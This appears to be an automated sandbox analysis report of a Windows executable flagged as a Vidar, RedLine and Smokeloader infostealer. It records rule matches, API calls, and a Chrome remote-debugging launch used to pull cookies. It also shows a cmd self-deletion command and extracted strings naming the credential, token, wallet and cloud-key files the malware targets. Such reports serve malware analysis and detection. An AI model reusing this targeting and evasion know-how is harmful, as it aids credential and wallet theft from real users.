Source: unknown HTTPS traffic detected: 88.99.120.106:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_0040EAB5 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow, 0_2_0040EAB5
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00405AD3 memcpy,OpenDesktopA,CreateDesktopA,lstrcpyA,CreateProcessA,Sleep,CloseDesktop, 0_2_00405AD3

System Summary

barindex
Source: 0.3.text.exe.2130000.0.unpack, type: UNPACKEDPE Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: 0.2.text.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: 0.3.text.exe.2130000.0.raw.unpack, type: UNPACKEDPE Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: 0.2.text.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: 00000000.00000002.2462845428.0000000000523000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2462698435.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000003.1717459897.0000000002130000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: 00000000.00000002.2462388658.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00404B3F 0_2_00404B3F
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00414F57 0_2_00414F57
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00417B66 0_2_00417B66
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_0040AF7E 0_2_0040AF7E
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00416FF1 0_2_00416FF1
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_004151BF 0_2_004151BF
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_0042745C 0_2_0042745C
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_0042557B 0_2_0042557B
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00426003 0_2_00426003
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00425ABF 0_2_00425ABF
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00505426 0_2_00505426
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00507DCD 0_2_00507DCD
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_004FB1E5 0_2_004FB1E5
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_005051BE 0_2_005051BE
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00507258 0_2_00507258
Source: C:\Users\user\Desktop\text.exe Code function: String function: 0040D84A appears 139 times
Source: C:\Users\user\Desktop\text.exe Code function: String function: 004FDAB1 appears 34 times
Source: C:\Users\user\Desktop\text.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7068 -s 3240
Source: text.exe, 00000000.00000002.2462880776.0000000000592000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs text.exe
Source: text.exe, 00000000.00000002.2463881539.000000000316B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs text.exe
Source: text.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: 0.3.text.exe.2130000.0.unpack, type: UNPACKEDPE Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: 0.2.text.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: 0.3.text.exe.2130000.0.raw.unpack, type: UNPACKEDPE Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: 0.2.text.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: 00000000.00000002.2462845428.0000000000523000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2462698435.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000003.1717459897.0000000002130000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: 00000000.00000002.2462388658.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@23/25@4/6
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_0040F029 CreateToolhelp32Snapshot,Process32First,StrCmpCA,Process32Next,StrCmpCA,CloseHandle, 0_2_0040F029
Source: C:\Users\user\Desktop\text.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\0L4ZNRG9.htm Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2124:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7068
Source: C:\Windows\SysWOW64\WerFault.exe File created: C:\ProgramData\Microsoft\Windows\WER\Temp\beff98a9-6850-4ee6-8769-885785a46002 Jump to behavior
Source: text.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\text.exe File read: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1002\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\text.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: k6ppph4e3.0.dr Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: text.exe Virustotal: Detection: 46%
Source: text.exe ReversingLabs: Detection: 43%
Source: unknown Process created: C:\Users\user\Desktop\text.exe "C:\Users\user\Desktop\text.exe"
Source: C:\Users\user\Desktop\text.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2136,i,12195627036784806045,10550328990114428246,262144 /prefetch:8
Source: C:\Users\user\Desktop\text.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\jwl6p" & exit
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Users\user\Desktop\text.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7068 -s 3240
Source: C:\Users\user\Desktop\text.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default" Jump to behavior
Source: C:\Users\user\Desktop\text.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\jwl6p" & exit Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2136,i,12195627036784806045,10550328990114428246,262144 /prefetch:8 Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10 Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: msimg32.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: msvcr100.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: ntshrui.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: cscapi.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: linkinfo.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: pcacli.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\text.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\Desktop\text.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: Binary string: vdr1.pdb source: text.exe, text.exe, 00000000.00000002.2462698435.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, text.exe, 00000000.00000003.1717459897.0000000002130000.00000004.00001000.00020000.00000000.sdmp, text.exe, 00000000.00000002.2462388658.0000000000400000.00000040.00000001.01000000.00000003.sdmp
Source: Binary string: A{"id":1,"method":"Storage.getCookies"}|.tgz.gzSecurityHistoryWork Dir: In memorySOFTWARE\Microsoft\Cryptographyfirefox%08lX%04lX%lu_key.txtSoft\Steam\steam_tokens.txt\Discord\tokens.txtpasswords.txtinformation.txtlocalhostWebSocketClient" & exitGdipGetImageHeightSoftGdipGetImagePixelFormatN0ZWFt\Monero\wallet.keysAzure\.awsstatusWallets_CreateProcessGdipGetImageEncodershttpsSoftware\Martin Prikryl\WinSCP 2\SessionsPlugins/devtoolsprefs.jsLocal Extension SettingsSync Extension SettingsFilescookiesCookies\BraveWallet\Preferenceskey_datas%s\%s\%sPortNumberCurrentBuildNumberGdiplusStartup.zipGdipCreateHBITMAPFromBitmapOpera Crypto.zooUnknownGdiplusShutdown/json_logins.jsoninvalid string positionSoftware\Martin Prikryl\WinSCP 2\ConfigurationDisplayVersionSOFTWARE\Microsoft\Windows NT\CurrentVersionopentokenamcommunity.comTelegramSoftware\Valve\SteamGdipSaveImageToStreamGdipLoadImageFromStream\AppData\Roaming\FileZilla\recentservers.xml.dllSOFTWARE\Microsoft\Windows\CurrentVersion\Uninstallapprove_aprilNetworkblock.arjprofiles.ini.lzhGdipGetImageWidthwallet_pathSteamPathscreenshot.jpgstring too longvector<T> too longProcessorNameStringloginusers.vdflibraryfolders.vdfconfig.vdfDialogConfig.vdfDialogConfigOverlay*.vdfGdipGetImageEncodersSizesteam.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\cmd.exeC:\Windows\system32\rundll32.exeBravetrueformhistory.sqlitecookies.sqliteplaces.sqliteLocal StatefalseAzure\.azureSOFTWARE\monero-project\monero-corechromefile_nameDisplayNameHostNameProductNameUserNameGdipSaveImageToFilemsal.cacheGdipDisposeImagemodeAzure\.IdentityServiceUseMasterPasswordhwidMachineGuidtask_idbuild_idCrash DetectedDisabled%dx%d%d/%d/%d %d:%d:%d.arcvdr1.pdb\Local Storage\leveldb_0.indexeddb.leveldb_formhistory.db_history.db_cookies.db_passwords.db_webdata.db_key4.db\key4.dbfile_dataLogin DataWeb DataoperaOperachrome-extension_[Processes][Software]\storage\default\\.aws\errors\\Telegram Desktop\\Steam\\config\\.azure\ Stable\\.IdentityService\\discord\/c timeout /t 10 & rd /s /q "C:\ProgramData\" & rd /s /q "C:\ProgramData\\..\.ZDISPLAYOpera GXEXCEPTION_INT_OVERFLOWEXCEPTION_FLT_OVERFLOWEXCEPTION_STACK_OVERFLOWEXCEPTION_FLT_UNDERFLOWPOSTEXCEPTION_BREAKPOINT\Local Storage\leveldb\CURRENTEXCEPTION_DATATYPE_MISALIGNMENTEXCEPTION_FLT_INEXACT_RESULTGETEXCEPTION_IN_PAGE_ERRORdQw4w9WgXcQEXCEPTION_SINGLE_STEPGdipCreateBitmapFromHBITMAPEXCEPTION_INT_DIVIDE_BY_ZEROEXCEPTION_FLT_DIVIDE_BY_ZEROEXCEPTION_NONCONTINUABLE_EXCEPTIONUNKNOWN EXCEPTIONEXCEPTION_INVALID_DISPOSITIONEXCEPTION_PRIV_INSTRUCTIONEXCEPTION_ILLEGAL_INSTRUCTIONEXCEPTION_FLT_INVALID_OPERATIONEXCEPTION_ACCESS_VIOLATIONEXCEPTION_FLT_STACK_CHECKEXCEPTION_FLT_DENORMAL_OPERANDEXCEPTION_ARRAY_BOUNDS_EXCEEDED%d MBIndexedDBOCALAPPDATA?<Host><Port><User><Pass encoding="base64">http://localhost:"webSocketDebuggerUrl":6^userContextId=4294967295465 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73ws://localhost:9223.metadata-v2:22.ps15121Windows 11HTTP/1.1HARDWA

Data Obfuscation

barindex
Source: C:\Users\user\Desktop\text.exe Unpacked PE file: 0.2.text.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.00cfg:R;.rsrc:R;.reloc:R;
Source: C:\Users\user\Desktop\text.exe Unpacked PE file: 0.2.text.exe.400000.0.unpack
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_0040E886 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_0040E886
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_0052751A push edi; ret 0_2_0052751B
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00524B0E push es; retf 0_2_00524B0F
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00526A38 push ecx; iretd 0_2_00526A3A
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00528825 push ds; iretd 0_2_00528846
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_0040E886 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_0040E886
Source: C:\Users\user\Desktop\text.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate Jump to behavior
Source: C:\Users\user\Desktop\text.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot Jump to behavior
Source: C:\Users\user\Desktop\text.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\text.exe Evasive API call chain: GetSystemTime,DecisionNodes
Source: C:\Windows\SysWOW64\timeout.exe TID: 7720 Thread sleep count: 76 > 30 Jump to behavior
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\text.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00413C71 SHGetFolderPathA,wsprintfA,FindFirstFileA,FindNextFileA,strcpy,_splitpath,strcpy,strlen,isupper,wsprintfA,strcpy,strlen,SHFileOperationA,FindNextFileA,FindNextFileA,FindClose, 0_2_00413C71
